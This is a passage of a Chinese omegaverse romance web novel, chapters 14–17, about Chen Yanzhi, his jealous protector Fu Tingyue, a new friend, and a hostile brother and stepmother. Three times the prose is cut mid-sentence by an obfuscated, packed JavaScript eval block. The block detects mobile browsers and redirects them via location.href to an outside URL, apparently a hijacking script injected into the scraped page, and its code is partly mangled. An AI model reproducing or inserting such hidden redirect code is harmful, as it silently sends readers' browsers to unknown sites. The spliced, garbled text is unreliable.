林叙白他爸满脸感激地上前:“陈少,今天还得多谢你,不然我家小白怕是又得被那个人渣给纠缠一番。” 那人和林叙白一个学校的,就是个家境普通的Alpha,偏偏喜欢在外面装富二代,而且一心只想攀上有钱人家的Omega少爷,妄想一飞冲天。 林叙白就是他的猎物之一,之前他还借易感期为由差点标记了林叙白,幸好林家安排了保镖,林叙白也算聪明,否则后果不堪设想。 “举手之劳,林总不必客气,而且我跟小白是朋友。”陈砚知单手插兜,歪着头冲林叙白眨眨眼,“对吧小白?” 林叙白倏然撞进那双笑吟吟的眸子中,心跳漏了一拍,“是的,我们……是朋友。” 傅亭樾见状,眉头微微一皱,心里有点不爽。 陈砚知太招人喜欢,走哪儿都能交到朋友,傅亭樾不禁想,或许陈砚知没和他重逢也能在这个世界活得很好。 但失去陈砚知的傅亭樾不一定能好好活着。 林总哈哈笑道:“既然如此我就不说那些客套话了,陈少有时间可以来家里玩,正好小白没什么朋友,你们又是同龄人,肯定有很多话题能聊。” 能和陈砚知结交并不是坏事,可以顺着他搭上傅亭樾这艘大船,稳赚不赔。 陈砚知没察觉到林向成的弯弯绕绕,满脸高兴地点头:“好啊,我还想尝尝小白的手艺呢。” 林叙白羞涩地低着头,泛红的耳尖在路灯的辉映下显得格外可爱。 他紧张地攥着衣角,做了很久的心理建设才鼓起勇气开口:“砚知,我们交换一下联系方式吧,你什么时候有时间提前给我发消息,我让司机过来接你。” 听到林叙白对陈砚知的称呼,傅亭樾眉头皱得更紧,垂在身侧的手倏地攥成拳头,眸底满是不悦。 砚知,叫得可真亲密。 陈砚知没看傅亭樾,自顾自拿出手机对林叙白说:“好啊,我扫你。” 两人加上好友改了备注,凑在一起小声说着下次见面的时间,傅亭樾脸色黑得吓人。 林向成原本还挺高兴的,转头看到傅亭樾阴沉的脸,眉心狠狠一跳。 他连忙开口喊自家儿子:“小白,我们该回家了,不然你妈妈又该担心。” 林叙白依依不舍地看着陈砚知:“砚知,那我先走了,回头见。” “好,回见。” 陈砚知单手插兜,随意挥了挥手,夜风将他的发丝吹得有些凌乱,昏黄的灯光洒落在他脸上,五官被衬得格外立体,加上那副懒洋洋的模样,显得他整个人慵懒又漂亮。 林家父子前脚刚走,陈砚知头一歪,整个人靠在傅亭樾身上,没骨头似的。 “好累。”他大大地打了个哈欠,声音黏糊糊的,“好困。” 傅亭樾低头看着陈砚知浓密卷翘的睫毛,没什么情绪地说:“走吧砚知,我们也该回家了。” “??”陈砚知站直身体,一脸见鬼的表情。 “你干嘛?” “没有,回家了砚知。”傅亭樾说着,自己先走了。 陈砚知站在原地想了一会儿,胳膊上起了一层鸡皮疙瘩,他抱着手臂搓了搓,跟着傅亭樾上车。 傅亭樾看着车窗外飞快褪去的风景,语调酸唧唧的,“砚知,要是困了就睡一会儿,到家我叫你。” 陈砚知忍不住往傅亭樾的手臂上锤了一下,“你正常点儿。” “哪里不正常。”傅亭樾垂眸看着他,车内光线昏暗,他眸底的情绪被忽明忽暗的光遮住,“别人能喊你砚知,我不能喊?” 陈砚知摇摇头:“倒也不是,就是你这么喊有点奇怪,听着不习惯。” 他还是喜欢傅亭樾喊他知知,喊砚知总有种傅亭樾生气了的错觉。 傅亭樾从鼻腔里哼出一口气,扭头继续看着窗外,“多听听就习惯了。” “喂。”陈砚知总算察觉到不对,把脸凑过去问,“你是不是生气了?” 傅亭樾以为他总算能注意到他的情绪,还没来得及高兴,陈砚知就说:“我不该给你添麻烦的,但那个Alpha实在太欠揍,我一时没忍住。” 傅亭樾拧眉回头,倏然撞进陈砚知那双纯澈明亮的眸子中,心口像是被人撕开一道口子,陈砚知被强行塞了进去,填的满当当的。 陈砚知一脸无辜地看着,车子正好驶过闹市区,明亮的灯光透进来,将他脸上婴儿般的绒毛照的清清楚楚。 傅亭樾看着他那副漂亮的模样,心里的气尽数消了。 他暗暗吐出一口浊气,垂眸将眼底的情绪收敛,任由自己被陈砚知带偏,“下次别再贸然动手,对方好歹是个Alpha,如果没喝醉你打不过他。” 陈砚知这具身体虚弱得很,即便养了二十来天也还是很瘦,如果Alpha没喝醉,他估计连动手的机会都没有,说不定还会受伤。 陈砚知不是不讲理的人,他知道傅亭樾是在担心他,难得的没有反驳找面子,而是举起自己纤细的胳膊看了一会儿,啧啧两声:“确实,我也太瘦了,得好好锻炼,下次才能在Alpha不喝醉的情况下也能打得过。” 傅亭樾噗嗤笑出声来,低低的笑声在车内蔓延,原本略显严肃的气氛一下变得轻快。 傅亭樾笑了一会儿,低头问陈砚知:“一定要打架吗?” 陈砚知双手枕着后脑勺,扭头看着傅亭樾,表情颇为无奈:“我也不想,但有些Alpha不是欠揍嘛。” 傅亭樾话锋一转:“你和林叙白是朋友了?” 陈砚知是个直肠子,傅亭樾问他就回答,“算是吧,我觉得他人还不错,也挺可怜的,他连游戏机都没玩过。” 傅亭樾淡淡道:“还想吃他做的饭?” 陈砚知点头:“嗯,他说他厨艺很好。” 傅亭樾突然说:“我的厨艺也很好。” 陈砚知停下敲击手机键盘的动作,满脸狐疑地看着傅亭樾,“然后呢,你要和他比比谁更厉害吗?” 傅亭樾目光定定地看着陈砚知,眸底的不悦彻底荡开,语气也变得落寞:“在你心里,他已经可以跟我比较了?” “啊?”陈砚知一脸懵,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372469|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛瞪得大大的,“不是你突然说你的厨艺也很好我才说的么。” 傅亭樾坐回去,扭过脸看着窗外,留给陈砚知一个高冷的后脑勺,“我不重要。” 陈砚知啧啧两声,一边摆手一边打着哈欠,他随手抹掉眼睛里的泪水后说:“别闹了,又不是小孩子,干嘛比来比去的,你要是真的不重要,我还能在你易感期的时候亲力亲为照顾你?” 傅亭樾太没安全感了,总担心他跟别人交了朋友就不和他玩了。 陈砚知猜测这是易感期后遗症,因为平时傅亭樾不会这样的,以前也不会。 傅亭樾别扭道:“但你让他叫你砚知,还和他交换联系方式。” 陈砚知叹了口气,困得眼睛都睁不开了,闭着眼睛黏糊糊地说:“总不能连名带姓地叫吧,而且他叫砚知,你叫知知,很明显你叫得更亲密啊,至于联系方式,我们重逢第一天我俩不就加了吗?还是我主动问你加的,你更重要。” 傅亭樾低声问:“我更重要?” 陈砚知软绵绵地滑到傅亭樾的肩膀上靠着,正好红灯,车子停在路灯下,灯光投射进来,陈砚知浓密的睫毛在他白皙的脸上投下一片阴影,他低声回应:“嗯,你更重要,你是我在这个世界上最重要的人。” 傅亭樾彻底被哄好,哪怕陈砚知只是困极了敷衍他他也觉得高兴。 陈砚知说他是最重要的,这就足够了。 折腾到这个点,陈砚知实在困得不行,靠在傅亭樾肩膀上很快就睡熟了,那股淡淡的木质香味让他感到安心。 到家后傅亭樾轻手轻脚地把熟睡的人抱在怀里进去,陈砚知刚睡着那一个小时是最沉的,怎么弄都不会醒。 傅亭樾把他放到床上陈砚知也没有要醒的意思,反而翻了个身把脸埋进枕头里睡得香甜。 傅亭樾盯着他白皙漂亮的后颈看了一会儿,忍不住伸手触碰。 陈砚知的皮肤很滑,像剥了壳的鸡蛋,傅亭樾爱不释手多摸了几下,呼吸跟着变得急促。 易感期时他特别想咬陈砚知的后颈,不是因为Alpha的标记本能,单纯是因为陈砚知的后颈漂亮,哪怕现在清醒着他也想咬。 傅亭樾做贼心虚,把手收回来坐在床边冷静了一会儿才轻拍陈砚知的肩膀喊道:“知知,起来洗完澡再睡。” 他喊了好几声陈砚知才醒,陈砚知撒娇似的在枕头上乱蹭,迷迷糊糊地说:“你先去洗,我还没醒。” “好,那你先醒醒神。”傅亭樾说完陈砚知没动静,估摸着又睡着了。 傅亭樾只好把人从床上拉起来让他靠在床边,贴心地喂陈砚知喝了半杯水,见他睁开眼睛他才转身去洗澡。 他前脚刚走,陈砚知头一歪栽到枕头上又睡着了。 傅亭樾洗完澡出来又重新叫醒他,担心陈砚知瞌睡没醒摔倒,傅亭樾不放心的送他去浴室,直到陈砚知再三强调自己已经醒了他才转身离开。 洗完澡陈砚知的瞌睡全跑了,他拉着傅亭樾聊了很多有的没的,关于这个世界,以及将来的打算,还有初来乍到的惊恐和不安。 每每感到他的不安,傅亭樾都会出声安抚,声音温柔犹如佳酿,能让陈砚知快速安心。 陈砚知觉得自己像只漂浮不定的风筝,而傅亭樾手里攥着线,只要有傅亭樾在,他就永远不会迷失方向。 15. 第15章 因为交到新朋友,傅亭樾忙的时候陈砚知也不用自己待在家了,有时间就去找林叙白玩儿,还如愿尝到了林叙白的手艺,确实挺好的,但陈砚知觉得傅亭樾做的东西更合他的口味。 彼时他刚从林家回来,手上还拿着林叙白做的小蛋糕,是陈砚知特地拿回来给傅亭樾尝尝的,免得傅亭樾又说他没良心。 陈砚知左右晃着手里精美的手提袋,从门口蹦到客厅大喊:“傅亭樾,我回来——” 没说完的话卡在喉咙里,陈砚知茫然地看着突然出现在客厅的陌生人,目光搜寻傅亭樾的身影,无果。 坐在沙发上的男生上下扫了陈砚知一眼,眸底的惊艳毫不掩饰,开口却极不礼貌:“你谁啊?” 陈砚知漂亮的眉头微微皱着,眸底露出一丝不耐烦:“你又是谁?” “你是傅亭樾的男朋友?”男生没回答,起身走到陈砚知身旁转了两圈,啧啧道,“你是Beta吗?” 说着他低头凑近,陈砚知满脸嫌恶地躲开。 男生嘴角边勾起一抹略带讥讽的笑,话语也格外露骨,“这么浓的信息素,你俩得抱在一起滚多久才能沾上。” 他甚至还想上手扯陈砚知的衣领,陈砚知厌恶地往后退了一步拉开距离,漂亮的小脸布满怒气,“手不想要可以继续。” “还是个小辣椒。”傅柏予低头笑了一声,目光灼热地看着陈砚知,“我是傅亭樾的弟弟傅柏予,不如你跟了我吧,我比他会疼人,你想要什么我都可以给你。” 听说傅亭樾找了个Beta后傅柏予就一直很好奇,什么样的人才会让傅亭樾那种冷血至极的人上心,刚从国外回来他就迫不及待过来,没想到给了他一个大大的惊喜。 除却是个没有信息素的Beta之外,面前的少年简直就是他的天菜,不管是性格还是长相,全部符合他的喜好。 他提前查过,陈砚知是个孤儿,不知道怎么跟傅亭樾认识的,但这种人傅柏予见多了,他甚至不用查就能知道陈砚知和傅亭樾在一起的原因,无非就是钱权,只要他给的比傅亭樾更多就能把这个漂亮的Beta据为己有。 至于傅亭樾,从小到大只要是他傅柏予想要的东西他都只能让给他,一个Beta而已,他相信傅亭樾肯定也会大方的拱手相让。 陈砚知听说对方是傅亭樾的弟弟,怒气直冲天灵盖,加上那些不礼貌的话,他对傅柏予厌恶到了极点。 从小到大陈砚知看谁不顺眼都是直接动手揍的,今天也不例外,他直接把给傅亭樾带的蛋糕连着盒子一起砸到傅柏予的脸上,看着对方惊愕的表情,陈砚知冷冷骂道:“没镜子还有尿,看看你那副脸色惨白要死不活的样子,也配跟傅亭樾比,你连他一根头发丝都比不上。” 之前陈砚知听傅亭樾说这边的父母偏心弟弟后他就对他们一家没什么好感,没想到傅柏予自己撞到枪口上,那就别怪他不客气了。 傅柏予还没彻底回神,他拧着眉头问:“你说什么?” 陈砚知不卑不亢地看着傅柏予,很有耐心地重复了一遍:“我说你连傅亭樾一根头发丝都比不上,看你虚成那样,不如乖乖躺下让别人上吧。” 傅柏予看起来就是个病秧子,跟傅亭樾确实没法儿比,长得也不怎么像,傅亭樾帅多了。 傅柏予闻言,气得要动手,拳头还没落到陈砚知脸上肚子就先挨了一脚,整个人极其狼狈地跌坐在地上。 陈砚知欣喜回头,果然看到傅亭樾回来,不过他表情很冷,眸底也没有一丝温度。 陈砚知高兴地喊道:“傅亭樾,你回来啦。” 傅亭樾瞬间收起脸上的冷意,温和地看向陈砚知:“没事吧?” 陈砚知摇摇头,指着跌坐在地上的傅柏予,“他比较有事。” 要不是傅亭樾来得及时,这会儿傅柏予估计已经被他揍得不省人事了。 “傅亭樾,你竟敢踹我,我要告诉爸妈——” 傅柏予还没放完狠话,傅亭樾单手拎着他的衣领直接把人提起来毫不客气地扔了出去,转头问一旁的管家,“你让他进来的?” 管家欲言又止地低着头,表情惶恐。 “从明天起你不用来了。”傅亭樾淡淡说着,又对一旁的几个保姆说,“你们也是,现在就收拾东西离开。” 管家眸底划过一抹惊讶,他连忙开口:“大少爷,我们是太太……” 傅亭樾眉头微微一皱,冷着脸吩咐:“谁让你们来的就回哪儿,我这边不需要你们了,现在就滚。” 之前他一直忍着是觉得没必要,但今天他只是晚回来几分钟陈砚知就被人欺负了,傅亭樾不想再忍,哪怕是跟家里撕破脸他也顾不上那么多。 陈砚知才是最重要的。 见几人站着不动,傅亭樾厉声道:“滚出去。” 陈砚知第一次见傅亭樾发火,非但不怕,反而满脸新奇。 门口不停传来傅柏予的叫骂声,骂得一句比一句脏,陈砚知火气上来,拎着凳子冲出去就要动手,吓得傅柏予丧家犬一般钻进车里吩咐司机开车,一秒都没敢多留。 陈砚知把凳子摔在院子里,在心里骂了句脏话,脸都被气红了。 佣人们见状哪儿还敢停留,忙不迭收拾东西离开,生怕耽搁一秒被揍的变成自己。 陈砚知胸膛剧烈起伏着,消气后他才发现家里只有他和傅亭樾,那些保镖也都不见了。 偌大的院子被落日辉映着,竟多了一丝落寞。 陈砚知抬手往脸上抹了一把,怔怔地问:“傅亭樾,只有我们两个了吗?” 傅亭樾走到他身旁,中间隔着拇指宽的距离和陈砚知并肩站着,动作温柔地捏了捏陈砚知的后颈,“明天会有新的佣人过来,今晚只有我们两个,你会觉得无聊吗?” 陈砚知突然对他露出一个大大的笑容,眉眼弯弯的,柔嫩的舌尖随着他说话若隐若现,“怎么会,只有我们两个多爽啊,终于不用被人监视了。” 傅亭樾不动声色地将目光移开,语气如常:“那就好,晚上想吃什么?” “都行。”陈砚知突然往自己额头上拍了一下,懊恼地皱起眉头,“小白让我给你带了小蛋糕,味道特别好,但我刚刚一生气用来砸傅柏予了。” 真是便宜那个畜生了,他的小蛋糕…… 傅亭樾自然地将手搭在陈砚知的肩膀上揽着他转身往屋里走,语气透着一丝轻快,“没事,我不喜欢吃甜的。” 陈砚知迟钝也有好处,比如傅亭樾做一些较为亲密的动作时他不会反感,甚至觉得理所应当,因为他们从小一起长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372470|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,陈砚知潜意识里很信任傅亭樾。 陈砚知叹了口气,耷拉着肩膀,撇撇嘴说:“可是我喜欢,我本来想着带回来你不吃的话我全吃了的。” 他是真的喜欢,要说林叙白做得最好的当属小蛋糕,陈砚知最喜欢。 好不容带回来还被他用来砸人,陈砚知越想越气,恨不得把傅柏予狠揍一顿为他的小蛋糕报仇。 傅亭樾自然地捏了捏陈砚知柔软的耳垂,语调透着愉悦:“我给你做。” 砸了好,他巴不得砸了。 最近陈砚知总在他耳边叽叽喳喳地夸林叙白做的东西好吃,傅亭樾真担心小馋猫被人勾走,愁得愣是抽时间给陈砚知做了几顿饭,最后陈砚知说他的厨艺更好傅亭樾才稍稍放心。 陈砚知顿了顿,满脸惊讶地抬头看着傅亭樾:“你还会做甜品?” 傅亭樾揽着陈砚知坐到沙发上,手仍旧搭在陈砚知的肩膀上,满脸无奈地叹气:“我以前给你做过的,你又忘了。” “啊?” 陈砚知想破头都没想起来傅亭樾什么时候给他做过甜品,漂亮的大眼睛灵动地看向傅亭樾,“我记性确实不太好,你生气吗?” 傅亭樾放松地靠在沙发上,唇角勾起一抹淡淡的笑,“没,我习惯了。” 习惯被陈砚知忽视,也习惯默默为他做许多事,只要陈砚知在身边就行,记不记得无关紧要,他也不想去争那一丁点,他想要的更多。 “我以后会记住的。”陈砚知讨好地靠在傅亭樾的肩膀上,伸出白嫩纤细的手指细细数着,“你会做甜品,拿手好菜是红烧狮子头、油焖大虾、糖醋里脊、还有很多很多。” 至于“很多”是什么,陈砚知不记得了。 但他没注意到傅亭樾的拿手好菜全是他喜欢吃的,就连他最喜欢的甜品傅亭樾也会做,而且做得很好。 傅亭樾笑着揉揉他的头,喉结上下滚动,低沉温柔的声音掺在落日中缓缓钻入陈砚知的耳中,“记不住也没关系,不用强迫自己,你本来记性就不好。” 这些小事他并不在乎,记不住他就多做几次,哪怕陈砚知不记得,下次再尝这道菜时他总会想起他,可能还会拿别人做的菜跟他做的对比,然后心中得出结论,这样就足够了。 对于记性不好这件事陈砚知没什么好反驳的,他将搭在膝盖上的手蜷成拳头,担忧地看向傅亭樾优越的侧脸,“我动手打了傅柏予,他的父母会不会来找我们麻烦。” 傅亭樾低头看着他,眸底满是陈砚知的倒影:“不用担心,有我在没人能欺负你。” 陈砚知叹了口气,忧心忡忡地说:“我是担心你被欺负,如果他们再找上门来,我又忍不住动手怎么办?” 其他人他管不着,但听到有人贬低侮辱傅亭樾他是忍不了的。 从小到大他就这毛病,哪怕以前他和傅亭樾关系一般,但有人说傅亭樾他就会生气动手。 在陈砚知心里,只有他能说傅亭樾,别人没那个资格。 傅亭樾见不得陈砚知露出那种表情,他捏捏陈砚知的脸跟他说:“别伤着自己就行,其他的你开心最重要,闯了祸事我兜着。” 陈砚知不耐烦地拍开他的手,皱着眉头问:“兜得住吗?” 傅亭樾承诺:“兜得住。” 16. 第16章 家里没有多余的人,陈砚知自在多了,吃完饭就去露天泳池游泳。 他下定决心要好好锻炼,把这幅羸弱的身体练得稍微强壮一点,但事与愿违,他实在太弱,在泳池里游了两圈就累得不行,趴在泳池边喘气,四肢不受控制地发颤。 晶莹的水珠顺着他漂亮单薄的后背滑下,一点点抚过微凸的骨节和白嫩的皮肉,最终滴答一声落入泳池,激起一圈极小极不起眼的波澜。 陈砚知双手交叠垫着脸趴了一会儿,起身把额前滴水的头发撩上去,露出饱满圆润的额头,纤瘦的上半身挺立在泳池中央,白皙的皮肤沾了水像是被镀上一层银光,漂亮得让人移不开眼。 虽然被傅亭樾精心养了将近一个月,但陈砚知还是有些瘦,锁骨和背后的肩胛骨都很明显,但腰身很细,半隐在水中,远远瞧着一只手就能握住,隐约还能瞥见那两个诱人的腰窝。 陈砚知撩了把水将头发全部捋上去,精致的五官完全暴露,连睫毛上的水珠都显得异常精致。 原本想再游一圈的,但他太累了不想动,索性继续趴在泳池边休息。 眼前突然多了只手,陈砚知懒懒地抬眼顺着宽大的手掌看上去,傅亭樾笑吟吟地看着他,“累了就出来吧,别在里面泡着。” 陈砚知叹了口气,耷拉着眼皮靠在胳膊上,“我太废物,游了两圈就不行了。” 傅亭樾抓住陈砚知的胳膊把他从水里提上来,把搭在臂弯的浴巾给他披上才说:“身体还没养好呢,医生也说了不能高强度运动,游两圈已经很厉害了。” 陈砚知啧了一声,一边擦头发一边说:“你每次能游八圈,昧着良心夸啊。” 傅亭樾抿唇笑了笑:“我们身体素质不一样,顶A本来体力就好。” 陈砚知这具身体确实很弱,而且他还是Beta,如果是Omega,傅亭樾都不敢想要怎么才能把他养好。 陈砚知没反驳,这个世界的傅亭樾体力确实惊人,之前易感期几天没休息好还照样能处理工作,简直怪物。 两人离开泳池后陈砚知回卧室洗澡,傅亭樾在外面等他。 现在他已经不做噩梦,所以搬回自己的卧室住,毕竟两个成年男生睡在同一张床上确实不太合适。 陈砚知洗完澡出来就听到傅亭樾在跟人打电话,从交谈内容来听,应该是傅柏予的母亲,他们在说今天下午的事儿。 看到陈砚知过来,傅亭樾自然地打开免提,尖锐的女音从手机里传来:“傅亭樾你是不是疯了,柏予是你的弟弟,你竟然纵容一个来路不明的Beta对他动手,还把我送来照顾你的人全部清走,你是要反了天吗?” 陈砚知探头探脑地贴着傅亭樾的胳膊看了手机屏幕一眼,又抬头看傅亭樾。 傅亭樾给了他一个安心的眼神,不疾不徐地对电话那头的人说道:“是他不打招呼擅自闯进来,还对我的朋友大呼小叫出言不逊,而且是我动手打的他,至于那些佣人,我这边暂时用不到就让他们回去了。” 不等对方说话,傅亭樾强调:“还有,陈砚知不是来路不明的人,他是我的朋友。” 电话里传来傅柏予告状的声音,陈砚知嫌弃地撇撇嘴,多大的人了还动不动就找妈妈,不知羞。 傅太太生气道:“所以你现在是要为了所谓的朋友和家里闹翻?你弟弟身体本来就不好,你这个当哥哥的也要欺负他,你是想气死我跟你爸吗?” 面对对方无理的指责和谩骂,傅亭樾表现得格外冷静,待傅柏予他妈发完火他才缓缓开口:“我没有这么想,但如果你想借这个机会和我闹翻我也不介意,至于傅柏予,他当着我的面欺负我的人,踹他一脚都算轻的,下次再这么不知死活,我就让他彻底变成废人,也算随了您的愿,让他真的变成病秧子。” 傅家离不开他,傅亭樾心里很清楚,傅佑民上了年纪身体不太好,没精力管理公司,而傅柏予根本就没那个头脑,只知道吃喝玩乐,一旦傅家没了傅亭樾,公司立马就会被那群虎视眈眈的董事蚕食殆尽,这也是夫妻俩不喜欢傅亭樾却还一直让他管理公司的原因。 他们厌恶他,却又不得不倚仗他。 SS级Alpha是天生的领导者,哪怕没了傅家大少爷的身份,仍旧多的是大公司对他抛出橄榄枝,家族里的老东西们比傅佑民夫妻更清楚失去一个顶级Alpha对傅家来说是多大的损失,所以这些年一直压着傅佑民夫妻不让乱来。 今天估计是小儿子受了委屈,心疼得紧,这才打电话过来质问。 如果是以前的傅亭樾肯定会独自难过父母偏心,但现在的傅亭樾压根就没把他们当做父母,这个世界上对他来说最重要的只有陈砚知一个人。 傅太太气得声音都在抖:“我看你是被那个狐狸精Beta勾得失去神志了。” 陈砚知不高兴地皱起眉头出声:“阿姨,我不是狐狸精哦,我也没勾引傅亭樾。” 他和傅亭樾是从小一起长大共过生死的好兄弟,才不是她说的那样。 傅太太明显没料到陈砚知在一旁,她沉默了好一会儿。 陈砚知自然地靠在傅亭樾身上,语气轻快地对电话那头的人说:“傅柏予是我揍的,他没礼貌地闯进别人家就算了,还让我跟了他,然后我就说他看起来不太行,躺着让人上比较好,他就动手要打我,那我肯定要防卫的呀,阿姨您说是吧?” 傅亭樾看着他那副狡黠灵动的模样,眸底腾起浓浓的笑意。 陈砚知调皮地冲傅亭樾眨眨眼,继续往傅柏予母子俩心窝子上扎刀:“阿姨,要我说您与其偏心那个不成器的废物小儿子,还不如好好对我们家傅亭樾呢,他可是顶级Alpha,比你的废物儿子有用多了,您说对吧?” “你、你……” “我很好哦,傅亭樾也很好,下次傅柏予再来我还揍他,麻烦阿姨转告一下,我会帮他找一个器大活好的Alpha,您让他把自己洗干净点儿。” “嘟嘟嘟——” 电话被挂了,陈砚知抬头看着傅亭樾,眼底看不见一点担忧,“不会被我给气死吧?” 傅亭樾蜷了蜷手指强忍着刮陈砚知鼻尖的冲动,语气格外宠溺:“那我们明天过去磕个头尽孝。” 陈砚知被他那副一本正经的样子逗笑,“我发现你虽然骂人没我厉害,但嘴也挺毒的。” 傅亭樾将手机扔到桌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372471|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,面色温和地看着陈砚知亮晶晶的眸子,“跟你在一起久了,耳濡目染。” 陈砚知摆摆手转身坐到一旁的沙发上,翘着二郎腿嘁了一声:“少来,你这是本性暴露,跟我可没关系。” 傅亭樾只是笑笑,目光不带任何侵略性地从陈砚知的头顶扫到脚趾。 最近天气热,陈砚知晚上还是穿的短款睡衣,一双又白又细的腿毫无防备地暴露在眼前,因为皮肤太白,他的膝盖都是粉的。 察觉到傅亭樾的目光,陈砚知非但没有不自在,反而大方地岔开双腿让傅亭樾看得更清楚:“好看吗?” 傅亭樾收回目光,语气冷淡:“还行。” “啧,就我这双腿你还挑?我自己都觉得完美,又直又白还没体毛,你打着灯笼都再找不到这么漂亮的了。” 陈砚知伸手摸了摸自己的大腿,手感滑嫩无比。 他轻轻拍了一下留下点红印,大方邀请傅亭樾:“手感也很好,不信你摸。” 傅亭樾呼吸明显乱了,他闭上眼睛缓了一会儿,声音闷闷的:“陈砚知,你还说没勾引我?” 陈砚知翻了个白眼,双腿交叠搭在茶几上随意晃着,“这算什么勾引,顶多就是把好东西跟好兄弟分享而已,这个世界真神奇,男生的腿怎么能长成这样,还有我腰也是,细得跟什么似的,屁股还有点翘。” 不过跟林叙白比起来他还是差远了,林叙白才是真的漂亮,比陈砚知以前见过的很多女生都漂亮。 傅亭樾转过身拿上手机往外走,背影透着一丝慌乱,“我去洗澡了,你早点休息。” 陈砚知仰头靠在沙发上,看着傅亭樾倒过来的身影吩咐道:“这么早谁睡得着啊,你洗完过来陪我打会儿游戏。” 傅亭樾顿了顿,低声应道:“知道了。” 房间里只剩下自己,陈砚知靠着发了会儿呆,正好林叙白给他发消息,陈砚知迫不及待地拿起手机跟他闲聊,还邀请他一会儿一起打游戏。 傅亭樾以为只有他和陈砚知甜蜜双排,谁知道还有个林叙白。 这边的游戏和原本那个世界差别有点大,陈砚知在这方面天赋很高,学了两天就会玩儿了,而且玩得很好,傅亭樾为了能陪他,偷偷练了好几天,上班在办公室偷练技术还被助理给发现了。 林叙白完全是游戏小白,陈砚知耐心十足地保护他还跟他讲解各种装备,傅亭樾像个留守老人。 砰的一道枪声传来,傅亭樾的角色倒地,陈砚知都没来得及救他。 “你怎么突然死了?” 傅亭樾皱着眉头放下手机,表情有些懊恼:“抱歉,这游戏难度有点高,我不太会玩,给你拖后腿了。” 陈砚知愣了一下,看着傅亭樾自责的表情连忙解释:“我不是那个意思,我以为你会玩来着。” 傅亭樾垂着眼,语气莫名有点儿委屈:“你们两个玩吧,我在旁边看你玩就行。” 陈砚知以为傅亭樾自尊心受挫,连忙对林叙白说:“小白,今天先不玩了,我们之后再约。” 傅亭樾低垂的眸子中划过一丝喜悦,憋闷的心情彻底阴转晴。 果然,他比林叙白重要多了。 17. 第17章 因为傅亭樾和家里闹翻,别墅的佣人保镖全部大换血,这让陈砚知自在多了,傅亭樾说那些人都可以信任,只要不说他俩借尸还魂的事儿就没事。 但一直待在家里实在太无聊,虽然交到了新朋友林叙白,但过两天林叙白开学陈砚知就又变成一个人了,他想让傅亭樾给他找个学校上学。 傅亭樾听完陈砚知的想法后并未否定,而是耐心询问:“傅家投资的私立高校你想去吗?” 陈砚知趴在傅亭樾的办公桌上,满脸好奇地转头问:“能去吗?” 原身没上过高中没参加过高考,除了私立高校也没其他地方能去,就是不知道傅家投资的学校好不好进。 傅亭樾莞尔:“当然可以,我让人去安排,你想学什么专业?” 只要陈砚知想做的,他都会帮他实现,更何况以他如今在傅家的地位,别说是安排个人进学校了,就是直接让陈砚知去公司上班也不会有人反对。 陈砚知摸了摸下巴,思索一番后选择询问傅亭樾的意见,“你觉得呢,学什么好找工作?” 傅亭樾无奈失笑:“不用考虑这个,选你想学的就行,不工作我也能养你。” 陈砚知摆摆手,转身坐到一旁的椅子上,翘着二郎腿跟傅亭樾说:“那不行,万一你将来谈恋爱结婚了,我总不能还让你养着,多不体面。” 傅亭樾顿了顿,短暂将目光从电脑屏幕上移开,没什么情绪地看向陈砚知:“你觉得我会跟别人结婚?” 陈砚知说得太过自然,仿佛觉得他跟别人结婚是理所应当,这让傅亭樾有点不爽。 哪怕他表现出一丝不悦或者吐槽两句,傅亭心情都能稍微好一点。 陈砚知察觉到傅亭樾情绪不对,到嘴边的话被咽回去,他换了个比较委婉的说法:“万一嘛,我总不能一辈子让你养着,还是得学点东西傍身。” “陈砚知,你……” 傅亭樾本来想骂人的,但看到陈砚知那副无辜茫然的表情,他硬生生把话咽回去,无奈叹气:“我不会跟别人结婚。” 有些时候他真的想打开陈砚知的脑袋看看他在想什么,还想不管不顾地把他关起来,把埋在心底的想法全部告诉陈砚知。 但傅亭樾知道,他不能那样做。 陈砚知随手捞走傅亭樾桌子上的沙漏,边玩边说:“我只是打个比方,就算你不结婚,那我学点东西总没错,技多不压身嘛。” 傅亭樾知道再说下去陈砚知又得生气,索性直接转移话题:“来选一下专业吧。” 陈砚知把玩着手里的沙漏,起身走到傅亭樾身边往电脑屏幕上看了一眼,惊呼道:“这么多?” 傅亭樾略微侧身,缓缓解释:“很多都是这个世界独有的专业,但我们那边的这边也几乎都有,你看看想学什么。” 陈砚知从小德智体美劳全面发展,乐器马术美术滑雪击剑都很精通,而且他很聪明,成绩也很好,学什么都能很快就融会贯通。 陈砚知看着那堆密密麻麻的专业只觉头晕,索性直接问傅亭樾,“服装设计吃香吗?” 